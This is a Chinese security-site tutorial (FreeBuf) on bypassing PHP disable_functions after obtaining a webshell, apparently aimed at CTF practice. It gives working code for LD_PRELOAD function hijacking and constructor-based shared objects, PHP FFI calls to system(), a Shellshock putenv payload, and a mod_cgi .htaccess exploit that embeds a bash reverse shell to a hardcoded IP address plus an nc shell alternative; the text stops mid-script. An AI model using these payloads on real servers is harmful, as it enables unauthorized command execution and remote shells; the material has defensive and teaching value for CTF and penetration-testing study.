freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

简单讲解如何绕过PHP disable_function
2021-07-13 10:34:47

前言

在渗透测试中,有时会遇到拿到webshell后无法执行命令的情况,为了能成功提权,需要我们绕过disabled_function

disable_function简介

disable_functions是php.ini中的一个设置选项,可以用来设置PHP环境禁止使用某些函数,通常是网站管理员为了安全起见,用来禁用某些危险的命令执行函数等。(eval并非PHP函数,放在disable_functions中是无法禁用的,若要禁用需要用到PHP的扩展Suhosin。)

绕过方法

1.寻找未禁用的函数

黑名单绕过,难免会有遗漏的函数,我们可以查看phpinfo文件,看看是否有未被禁用的危险函数

如:dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link

2.利用 LD_PRELOAD 环境变量

原理简介

要了解LD_PRELOAD,可以参考这篇文章:

https://blog.csdn.net/haoel/article/details/1602108)

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

方法一:劫持函数

一般而言,利用漏洞控制 web 启动新进程 a.bin(即便进程名无法让我随意指定),新进程 a.bin 内部调用系统函数 b(),b() 位于 系统共享对象 c.so 中,所以系统为该进程加载共享对象 c.so,想办法在加载 c.so 前优先加载可控的 c_evil.so,c_evil.so 内含与 b() 同名的恶意函数,由于 c_evil.so 优先级较高,所以,a.bin 将调用到 c_evil.so 内的b() 而非系统的 c.so 内 b(),同时,c_evil.so 可控,达到执行恶意代码的目的。

于是我们的突破思路如下:

1.找到一个可以启动新进程的函数,如mail()函数会启动新进程 /usr/sbin/sendmail

2.书写一个会被sendmail调用的C函数(函数最好不带参数),内部为恶意代码,编译为.so文件,如getuid()函数

3.运行PHP函数putenv(),设定我们的so文件为LD_PRELOAD,设置后新进程启动时将优先加载我们设置的so文件

4.运行PHP的mail()函数,这时sendmail会优点调用我们书写的getuid同名函数,达到劫持执行恶意代码的效果

首先查看sendmail会调用那些函数,这里我们选择geteuid函数,也可以是其他函数进行劫持

readelf -Ws /usr/sbin/sendmail
#readelf只会显示sendmial可能调用的函数,具体调用的函数应该使用strace -f 进行查看

首先书写.c文件,目的为显示当前目录下文件

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
system("ls");
}  

int  geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

在书写.php文件,设置环境变量并执行mail函数

<?php
putenv("LD_PRELOAD=/home/kali/Desktop/hack.so");#编译c文件后的文件位置
mail("","","","");
?>

将c文件编译后执行php文件

gcc hack.c -o hack.so -shared -fPIC

方法二:预加载共享对象

在实际情况中,很多机器尚未安装或者禁止了sendmail功能,通常的 www-data 权限又不可能去更改 php.ini 配置、去安装 sendmail 软件,所以可以采用另一种方式绕过disable_function

系统通过LD_PRELOAD预先加载共享对象,如果在加载时就执行代码,就不用劫持函数以此绕过disable_function

gcc允许为函数设置如下属性,可以让其修饰的函数在mail()函数之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,将立即执行

__attribute__((__constructor__))
//constructor参数让系统执行main()函数之前调用函数(被__attribute__((constructor))修饰的函数

书写hack.c代码

#include <stdlib.h>
#include <string.h>
__attribute__((constructor))void payload() {
unsetenv("LD_PRELOAD");
const char* cmd = getenv("CMD");//接收传入的命令
system(cmd);//执行命令
}

书写test.php代码

<?php
putenv("CMD=ls");#要执行的命令
putenv("LD_PRELOAD=/home/kali/Desktop/hack.so");#编译c文件后的文件位置
error_log("a",1);
?>

将.c文件编译好后运行,已执行恶意命令

gcc hack.c -o hack.so -shared -fPIC

使用条件

linux系统

putenv()

mail或error_log

目录可写,需要上传.so文件

实例演示

题目取自ctfhub中web进阶的Bypass disable_function的LD_PRELOAD

首先上传.so文件和.php文件

.c文件代码

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
system("tec /flag > /var/www/html/flag.txt");
}  

int  geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

.php文件代码

<?php
putenv("LD_PRELOAD=/var/www/html/hack.so");#
mail("","","","");
?>

在浏览器中访问.php文件,未出现flag,猜测mail函数被禁用,sendmail也会调用error_log,修改php文件

<?php
putenv("LD_PRELOAD=/var/www/html/hack.so");
mail("","","","");
error_log("",1,"","");
?>

3.利用PHP7.4 FFI

原理简介

FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP 的 FFI 扩展就是一个让你在 PHP 里调用 C 代码的技术。FFI的使用只需声明和调用两步。

使用条件

Linux 操作系统

PHP >= 7.4

开启了 FFI 扩展且 ffi.enable=true

申明FFI,使用C语言的system函数:

$ffi = FFI::cdef("int system(char* command);");

调用创建的函数,执行ls命令并将其输入到1.txt中(system命令执行没有回显):

$ffi ->system("ls / > /tmp/1.txt"); 

实例演示

题目取自ctfhub中web进阶的Bypass disable_function的FFI扩展

蚁剑直接连,执行命令发现被disable_function拦截

上传EXP:

<?php
$ffi = FFI::cdef("int system(const char *command);");#申明ffi,调用system函数
$ffi->system("tac /flag > /tmp/111");#执行readflag中的命令读取flag
echo file_get_contents("/tmp/111");
@unlink("/tmp/111");#删除111文件

访问网站,得到flag:

4.利用shellshock(CVE-2014-6271)

原理简介

(https://zhuanlan.zhihu.com/p/35579956)

目前的bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。核心的原因在于在输入的过滤中没有严格限制边界,没有做合法化的参数判断。

攻击者只需将恶意代码写入到环境变量中,传到服务端,触发服务器运行bash脚本即可执行恶意代码

使用条件

目标存在shellshock漏洞

版本为PHP 5.*

linux系统

putenv()可用

实例演示

题目取自ctfhub中web进阶的Bypass disable_function的Shellshock

上传EXP:

<?php
putenv("PHP_flag=() { :; }; tac /flag >> /var/www/html/flag.txt");#设置环境变量,将flag输入到flag.txt中
error_log("",1,"","");

访问EXP,刷新后得到flag:

5.利用Apache Mod CGI

原理简介

CGI:CGI ,公共网关接口,它是 Web 服务器与外部应用程序(CGI 程序)之间传递信息的接口。通过 CGI 接口 Web 服务器就能够将客户端提交的信息转交给服务器端的 CGI 程序处理,最后返回结果给客户端。CGI是放在服务器上的可执行程序,CGI编程没有特定的语言,C语言,linux shell,perl,vb等等都可以进行CGI编程。

MOD_CGI:任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中.

若是想临时允许一个目录可以执行cgi程序并且使得服务器将自定义的后缀解析为cgi程序,则可以在目的目录下使用htaccess文件进行配置

Options +ExecCGI
AddHandler cgi-script .aaa

然后设置.aaa结尾的shell文件(shell.aaa)

#!/bin/bash
echo;whoami;uname -a

将.htaccess和shell文件上传至指定目录后,需要给shell文件执行权限,这里贴一篇大佬的EXP

<?php
$cmd = "bash -i >& /dev/tcp/119.29.60.71/2333 0>&1"; //command to be executed   "nc -c '/bin/bash' 10.11.12.13 8888"
$shellfile = "#!/bin/bash\n"; //using a shellscript
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
}
if (!isset($_GET['checked']))
{
@file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
$writable = is_writable('.'); //current dir writable?
$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
checkEnabled("Is writable",$writable,"Yes","No");
checkEnabled("htaccess working",$htaccess,"Yes","No");
if(!($modcgi && $writable && $htaccess))
{
echo "Error. All of the above must be true for the script to work!"; //abort if not
}
else
{
checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
echo "Exe
# web安全 # 系统安全 # 配置安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录